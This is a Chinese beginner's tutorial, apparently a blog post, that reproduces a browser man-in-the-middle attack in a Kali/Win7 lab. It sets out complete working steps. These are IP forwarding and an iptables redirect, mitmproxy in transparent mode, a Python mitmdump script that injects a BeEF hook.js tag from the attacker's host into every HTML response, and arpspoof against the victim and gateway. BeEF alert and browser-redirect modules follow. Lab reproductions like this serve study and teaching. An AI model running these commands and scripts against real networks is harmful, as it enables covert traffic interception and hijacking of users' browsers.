前言
本文仅适用于小白
本文是基于freebuf NT00老师的文章《浏览器攻击框架BeEF Part 2:初始化控制》中浏览器中间人攻击一节,在学习后进行了攻击复现。原文章链接:浏览器攻击框架BeEF Part 2:初始化控制 - FreeBuf网络安全行业门户
本人是小白一枚,所以遇到了一些小白会有疑问的问题最终成功解决了问题完成了复现。
本文会对这个攻击详细的复现一遍,复现过程中解决的问题如下:(若未遇到以下问题,看NT00老师的文章就够了)
- 攻击机和靶机的网络配置(攻击机kali,靶机win7)
- 使用
mitmproxy
替换 HTML 响应数据中的内容时一直提示无法识别提供的参数-R
(提示mitmproxy: error: unrecognized arguments: -R) - 进行ARP欺骗时提示arpspoof: libnet_check_iface() ioctl: No such device
- 在全部配置完毕后mitmproxy的控制台没有输出,靶机访问任何http网页都没有记录。
- 3和4笔者是因为没有把命令中的网络接口改成自己的
复现如下
使用的是BeEF(BeEF安装很简单随便搜一下就有教程) 和 mitmproxy(kali默认已经安装mitmproxy,mitmproxy是一个中间人攻击的框架)
测试环境
主机 | 身份 | IP |
---|---|---|
Kali | 攻击机 | 192.128.190.128 |
win7 | 受害机 | 192.128.190.129 |
网关 | 受害机 | 192.128.190.2 |
1. 配置攻击机和靶机网络
将攻击机和靶机的虚拟机网络设置均改为自定义下的NAT模式选同一个网络适配器
kali:
win7:
配置好后分别在kali输入ifconfig,在win7输入ipconfig查看攻击机、靶机、网关的IP
分别ping一下对方看能否ping通,注意:要关闭win7的防火墙,否则kali无法ping通win7
2. 开启beef的服务
在kali输入如下命令:
systemctl start beef-xss.service
3. 开启ip转发功能
echo 1 > /proc/sys/net/ipv4/ip_forward
4. 使用iptables设置端口重定向
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
这条命令是使用 iptables
工具来配置NAT规则的,作用是:当有数据包通过 eth0
接口到达,并且目标端口是 80(HTTP 服务的默认端口),则将这些数据包重定向到本机的 8080 端口。
注意:这里要把eth0改成你自己系统的网络接口,前面使用ifconfig的时候可以看到。-i eth0
:指定数据包到达的网络接口是 eth0
。eth0
通常表示第一个以太网接口,但具体名称可能因系统而异。
5. 启动mitmproxy, 并设置在所有html respond 数据中插入beef勾子
启动mitmproxy, 并将所有html respond 数据中的</body>
标签,并将其替换为指定的 <script>
标签:<script src='http://192.168.190.128:3000/hook.js' type='text/javascript'></script></body>,即插入beef钩子。
原文中直接输入的命令是:
mitmproxy --anticache --showhost -p 8080 --mode transparent -R ":~s:</body>:<script src='http://192.168.8.219:3000/hook.js' type='text/javascript'></script></body>"
将命令中的ip地址改为自己Kali的IP地址就行
但题主遇到的问题是输入命令后提示mitmproxy: error: unrecognized arguments: -R如图
调了一半天没搞懂问题出在哪,实在搞不懂所以采用了另一种方法:使用 mitmdump
(mitmproxy
的命令行版本)和 Python 脚本进行 HTML 响应内容替换。
1)首先,执行原命令的前半部分
mitmproxy --anticache --showhost -p 8080 --mode transparent
这行命令是用于配置 mitmproxy
--anticache
: 告诉mitmproxy
忽略客户端的缓存,强制代理服务器对每个请求进行处理。--showhost
: 显示原始的主机头信息,而不是代理服务器的地址。-p 8080
: 指定mitmproxy
监听的端口号为 8080。--mode transparent
: 设置mitmproxy
以透明代理模式运行,这意味着它将尝试自动处理所有流量,而不需要客户端或服务器端进行特别的配置。
运行后是这样,进入了mitmproxy界面,先按q再按y退出。
2)然后,创建一个 Python 脚本,命名为 replace_html.py
,内容如下:
from mitmproxy import http
def response(flow: http.HTTPFlow):
# 检查响应的Content-Type是否为HTML
if "text/html" in flow.response.headers.get("Content-Type", ""):
# 读取响应体内容
content = flow.response.get_text()
# 使用正则表达式替换</body>标签
new_content = content.replace("</body>", '<script src="http://192.168.190.128:3000/hook.js" type="text/javascript"></script></body>')
# 设置新的响应体内容
flow.response.content = new_content.encode("utf-8")
注意:要将脚本中的ip地址改为自己Kali的IP地址
该Python 脚本中response
函数是一个钩子,当 HTTP 响应被 mitmproxy
拦截时调用。这个函数首先检查响应的 Content-Type
头部是否包含 text/html
,这通常意味着响应内容是 HTML。如果是 HTML 响应,脚本会读取响应体内容,并将所有的 </body>
标签替换为注入的 JavaScript 脚本标签。替换后的 HTML 内容被重新编码为 UTF-8 格式,并设置回 flow.response.content
,这样当响应发送回客户端时,就会包含注入的脚本。
3)然后,使用 mitmdump
命令行工具并加载上述脚本:
mitmdump -s replace_html.py
运行后是这样 ,现在还没有数据经过,暂时是这样
6. 执行 ARP 欺骗,将目标主机的流量重定向到攻击机上
刚才的命令行界面暂先搁置,重新开一个命令行窗口依次执行如下命令
arpspoof -i eth0 -t 192.168.190.129 192.168.190.2
arpspoof -i eth0 -t 192.168.190.2 192.168.190.129
arpspoof
:是执行 ARP 欺骗的工具。-i eth0
:指定了用于发送伪造 ARP 响应的网络接口。注意:这里要把eth0改成你自己系统的网络接口-t 192.168.190.129
:-t
参数后面跟的是目标主机的 IP 地址192.168.190.2
:这是网关的 IP 地址
执行这个命令后,arpspoof
会向目标主机 192.168.190.129
发送伪造的 ARP 响应。如果成功,目标主机会更新其 ARP 表,并将所有发往网关的流量发送到攻击机上,从而能截获和分析流量。
7. 开始执行
上述全部配置完成后,当win7访问http页面时,
mitmdump的命令行界面会有大量的输出,所有的http流量都有记录。
这里用win7访问了http://www.firefox.com.cn。访问后能看到mitmdump的命令行界面有流量记录。这时在Kali上查看一下beef 的管理界面http://127.0.0.1:3000/ui/panel,发现已经钩住了Windows的浏览器。
可以点击Details查看浏览器相关信息。
可以利用BeEF发起一些xss攻击
比如发送页面弹窗
在commands中选择create Alert Dialog,在Alert text框中输入弹窗内容后,点击execute执行。
执行后回到win7系统,能看见页面上出现了弹窗。
再比如重定向页面
在commands中搜索选择Redirect Browser,在Redirect URL框中输入你想重定向的链接后,点击execute执行。这里重定向链接输入的是www.baidu.com
点击执行后,点击模块执行历史,可以看到已经成功重定向了
这时去看win7系统,能看见原本的火狐页面变成了百度页面。